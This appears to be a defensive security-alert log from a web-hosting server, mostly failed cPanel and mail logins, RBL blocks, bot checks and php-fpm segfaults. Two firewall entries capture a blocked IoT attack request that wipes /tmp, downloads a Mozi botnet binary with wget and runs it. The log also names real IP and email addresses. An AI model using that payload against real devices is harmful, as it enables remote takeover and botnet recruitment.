plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 158.94.211.154
country_id: 2750405
description:
2026-07-01 01:18:17 H=([158.94.211.154]) [158.94.211.154]:54525 F=<shahina@kursksmu.net> rejected RCPT <whiteway@white-ways.com>: The mail server could not deliver mail to whiteway@white-ways.com.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 01:20:05 ns5 kernel: php-fpm[2122107]: segfault at 7ffe780b1c98 ip 000000000072ad55 sp 00007ffe780b1c98 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.178
country_id: 3469034
description:
Jul  1 01:22:36 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.178 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.2.57.138
country_id: 3469034
description:
Jul  1 01:23:38 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.2.57.138 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 01:24:04 ns5 kernel: php-fpm[2123155]: segfault at 7ffe780b1ce8 ip 000000000072ad55 sp 00007ffe780b1ce8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-07-01 01:24:18 +0000] info [cpaneld] 64.111.92.123 - test "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user test (has_cpuser_file failed)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 01:26:03 ns5 kernel: php-fpm[2124395]: segfault at 7ffe780b1ce8 ip 000000000072ad55 sp 00007ffe780b1ce8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 01:27:05 ns5 kernel: php-fpm[2124537]: segfault at 7ffe780b1ce8 ip 000000000072ad55 sp 00007ffe780b1ce8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.200.114.158
country_id: 6252001
description:
[2026-07-01 01:27:31 +0000] info [cpaneld] 52.200.114.158 - myxlsnta "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.26.62.46
country_id: 1814991
description:
Jul  1 01:27:41 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.26.62.46 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.62.46
country_id: 1814991
description:
2026-07-01 01:27:43 dovecot_login authenticator failed for H=([92.126.223.175]) [111.26.62.46]:43190: 535 Incorrect authentication data (set_id=info@matosshop.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.168.90
country_id: 6252001
domain: mail.casierjudiciaire.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mail.casierjudiciaire.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.179.253
country_id: 1880251
description:
43.173.179.253 - - [01/Jul/2026:01:28:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10132169&pdata=https%253A%252F%252Flepoint-actu.tg%252Findex.php%252F2023%252F04%252F11%252Flome-une-femme-et-ses-enfants-retrouves-morts-dans-leur-chambre%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782869335 HTTP/1.1" 404 561 lepoint-actu.tg "https://lepoint-actu.tg/index.php/2023/04/11/lome-une-femme-et-ses-enfants-retrouves-morts-dans-leur-chambre/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.179.253


plugin: modsec
rule: 77142262
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 120.85.183.204
country_id: 1814991
domain: 154.70.82.249:80
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:8.21||T:APACHE||MVN:REQUEST_URI||MV:/shell?cd /tmp;rm -rf *;wget http://192.168.1.1:8088/mozi.a;chmod 777 mozi.a;/tmp/mozi.a jaws||


plugin: modsec
rule: 77142265
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 120.85.183.204
country_id: 1814991
domain: 154.70.82.249:80
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:8.21||T:APACHE||MVN:MATCHED_VAR||MV:/shell?cd+/tmp;rm+-rf+*;wget+http:/192.168.1.1:8088/mozi.a;chmod+777+mozi.a;/tmp/mozi.a+jaws||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 01:30:18 ns5 kernel: php-fpm[2125794]: segfault at 7ffe780b1ce8 ip 000000000072ad55 sp 00007ffe780b1ce8 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.8.155
country_id: 1562822
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/event/apotheose-odon-itsu-2023 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 190.111.162.144
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-31.190.111.162.144||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jul  1 01:31:19 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.99.236.81
country_id: 6252001
description:
[2026-07-01 01:31:55 +0000] info [cpaneld] 167.99.236.81 - index.htmlstephane "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user index.htmlstephane (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-07-01 01:32:02 +0000] info [cpaneld] 64.111.92.123 - einguval "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user einguval (has_cpuser_file failed)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 01:33:02 ns5 kernel: php-fpm[2129310]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.196.124
country_id: 1880251
description:
43.172.196.124 - - [01/Jul/2026:01:33:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10119876&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Ftag%253Dtpme&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782869631 HTTP/1.1" 404 561 mediatopnews.tg "https://mediatopnews.tg/?tag=tpme" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.196.124


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.182.221
country_id: 1880251
description:
43.173.182.221 - - [01/Jul/2026:01:33:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10470548&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D14049&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782869632 HTTP/1.1" 404 561 mediatopnews.tg "https://mediatopnews.tg/?p=14049" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.182.221


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 01:36:12 ns5 kernel: php-fpm[2129840]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 190.185.109.218
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:190.185.109.218||TA:190.185.109.218||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.153.7
country_id: 2635167
description:
[2026-07-01 01:36:30 +0000] info [webmaild] 5.230.153.7 - sergdev@dgdn-togo.tg "POST /login/ HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 01:37:10 ns5 kernel: php-fpm[2129910]: segfault at 7ffe27a69fa0 ip 0000000000729c3b sp 00007ffe27a69f90 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 01:38:47 ns5 kernel: php-fpm[2130445]: segfault at 7ffe27a69fb8 ip 000000000072ad55 sp 00007ffe27a69fb8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.232.99.66
country_id: 241170
description:
2026-07-01 01:39:00 dovecot_plain authenticator failed for H=(5wgvkgcfvn9ihn4okj) [156.232.99.66]:33533: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 156.232.99.66
country_id: 241170
description:
Jul  1 01:38:58 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 156.232.99.66 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.133.115.119
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:45.133.115.119||TA:45.133.115.119||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-07-01 01:39:37 +0000] info [cpaneld] 64.111.92.123 - stephaneogou@gmail.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 01:41:06 ns5 kernel: php-fpm[2131581]: segfault at 7ffe27a69fb8 ip 000000000072ad55 sp 00007ffe27a69fb8 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 195.40.122.210
country_id: 1861060
domain: lcr-adem.org
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:195.40.122.210||TA:195.40.122.210||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 01:42:34 ns5 kernel: php-fpm[2131944]: segfault at 7ffe27a69fb8 ip 000000000072ad55 sp 00007ffe27a69fb8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 01:43:07 ns5 kernel: php-fpm[2131849]: segfault at 7ffe27a69fa0 ip 0000000000729c3b sp 00007ffe27a69f90 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.145.85
country_id: 690791
description:
Jul  1 01:44:10 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.145.85 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.144.35.224
country_id: 1880251
description:
[2026-07-01 01:45:51 +0000] info [cpaneld] 168.144.35.224 - bighostingsnbd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 01:46:27 ns5 kernel: php-fpm[2133348]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.197.93.235
country_id: 6252001
description:
Jul  1 01:46:20 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.197.93.235 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.99.236.81
country_id: 6252001
description:
[2026-07-01 01:46:24 +0000] info [cpaneld] 167.99.236.81 - agrepay "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user agrepay (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 198.37.118.153
country_id: 6252001
domain: lacs1.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:198.37.118.153||TA:198.37.118.153||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 01:47:55 ns5 kernel: php-fpm[2133766]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 01:48:43 ns5 kernel: php-fpm[2133947]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.102.243.240
country_id: 6254930
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/emploi-des-jeunes-au-togo-un-levier-de-cohesion-sociale/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.102.243.240
country_id: 6254930
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/emploi-des-jeunes-au-togo-un-levier-de-cohesion-sociale/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 01:49:49 ns5 kernel: php-fpm[2133794]: segfault at 7ffe27a69fb8 ip 000000000072ad55 sp 00007ffe27a69fb8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.6.7.194
country_id: 1605651
description:
Jul  1 01:49:20 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.6.7.194 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.59
country_id: 690791
description:
2026-07-01 01:49:36 H=([77.83.39.59]) [77.83.39.59]:54210 F=<geliping@wahtung.net> rejected RCPT <contact@sthandling-aero.tg>: The mail server could not deliver mail to contact@sthandling-aero.tg.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.180.193
country_id: 1880251
description:
43.173.180.193 - - [01/Jul/2026:01:49:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10381469&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D6090&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782870549 HTTP/1.1" 404 561 mediatopnews.tg "https://mediatopnews.tg/?p=6090" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.180.193


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.53.42.101
country_id: 3469034
description:
Jul  1 01:50:01 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.53.42.101 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 01:51:37 ns5 kernel: php-fpm[2135070]: segfault at 7ffe27a69fb8 ip 000000000072ad55 sp 00007ffe27a69fb8 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.245.242.106
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.245.242.106||TA:104.245.242.106||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 195.172.211.202
country_id: 1861060
domain: lcr-adem.org
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:195.172.211.202||TA:195.172.211.202||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 01:53:05 ns5 kernel: php-fpm[2135446]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.11.119
country_id: 2300660
description:
Jul  1 01:53:15 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.11.119 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.232.67.77
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-54.152.232.67.77||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.232.68.5
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-54.152.232.68.5||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 138.99.37.219
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-54.138.99.37.219||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.73.173
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:152.232.73.173||TA:152.232.73.173||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 161.115.231.32
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-54.161.115.231.32||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 01:55:03 ns5 kernel: php-fpm[2135878]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.157.22.57
country_id: 2921044
domain: matosshop.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=1166||QS:add-to-cart=1166||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 01:59:51 ns5 kernel: php-fpm[2138056]: segfault at 7ffe27a69fa0 ip 0000000000729c3b sp 00007ffe27a69f90 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 02:00:31 ns5 kernel: php-fpm[2137652]: segfault at 7ffe27a69fa0 ip 0000000000729c3b sp 00007ffe27a69f90 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.53.42.101
country_id: 3469034
description:
Jul  1 02:00:16 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.53.42.101 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 185.58.84.253
country_id: 2635167
description:
Denial of Service (DoS) attack was discovered from 185.58.84.253: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.20.181.138
country_id: 3469034
description:
Jul  1 02:00:32 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.20.181.138 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 02:01:13 ns5 kernel: php-fpm[2138303]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.193.122.91
country_id: 690791
description:
Jul  1 02:02:07 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.193.122.91 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.21
country_id: 6252001
description:
205.169.39.21 - - [01/Jul/2026:02:03:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6985367&pdata=http%253A%252F%252Fcareful-charcoal-chimpanzee.confortis.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782871409 HTTP/1.1" 302 0 careful-charcoal-chimpanzee.confortis.tg "http://careful-charcoal-chimpanzee.confortis.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.21


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 02:04:23 ns5 kernel: php-fpm[2138365]: segfault at 7ffe27a69fa0 ip 0000000000729c3b sp 00007ffe27a69f90 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.99.236.81
country_id: 6252001
description:
[2026-07-01 02:04:36 +0000] info [cpaneld] 167.99.236.81 - info@jirehsolux.com "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 02:05:26 ns5 kernel: php-fpm[2139688]: segfault at 7ffe27a69fa0 ip 0000000000729c3b sp 00007ffe27a69f90 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.177.165.56
country_id: 1562822
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/52.jpeg HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.192.101.104
country_id: 3469034
description:
Jul  1 02:05:52 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.192.101.104 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 52.34.76.65
country_id: 6252001
description:
52.34.76.65 - - [01/Jul/2026:02:05:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7259759&pdata=https%253A%252F%252Ftilitulab.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782871516 HTTP/2.0" 302 0 tilitulab.tg "https://tilitulab.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:52.34.76.65


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.192.101.104
country_id: 3469034
description:
Jul  1 02:06:00 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.192.101.104 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.143.30.66
country_id: 933860
description:
Jul  1 02:06:12 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.143.30.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jul  1 02:07:56 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.55
country_id: 1643084
description:
[2026-07-01 02:11:21 +0000] info [cpaneld] 103.65.237.55 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 02:12:19 ns5 kernel: php-fpm[2141302]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-07-01 02:12:35 +0000] info [cpaneld] 64.111.92.123 - ayzmngqb "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayzmngqb (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 193.142.36.237
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:193.142.36.237||TA:193.142.36.237||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 02:13:14 ns5 kernel: php-fpm[2141486]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 220.202.135.70
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/10/images-16.jpeg HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.197.93.235
country_id: 6252001
description:
Jul  1 02:15:32 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.197.93.235 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 02:18:11 ns5 kernel: php-fpm[2144180]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 02:19:21 ns5 kernel: php-fpm[2144445]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 132.145.125.61
country_id: 1861060
description:
2026-07-01 02:20:10 dovecot_plain authenticator failed for H=(x4610s4p2yw2p4k3e) [132.145.125.61]:59056: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 120.219.29.51
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/education/page/1592384963 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 120.225.85.65
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/education/page/3c424b HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 02:24:06 ns5 kernel: php-fpm[2146136]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.200.114.158
country_id: 6252001
description:
[2026-07-01 02:24:44 +0000] info [cpaneld] 52.200.114.158 - aifkjzqm "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 02:25:03 ns5 kernel: php-fpm[2146572]: segfault at 7ffe27a69ff0 ip 0000000000729c3b sp 00007ffe27a69fe0 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.123.177.187
country_id: 3017382
domain: inh.inh.free.netmaster.tg
description:
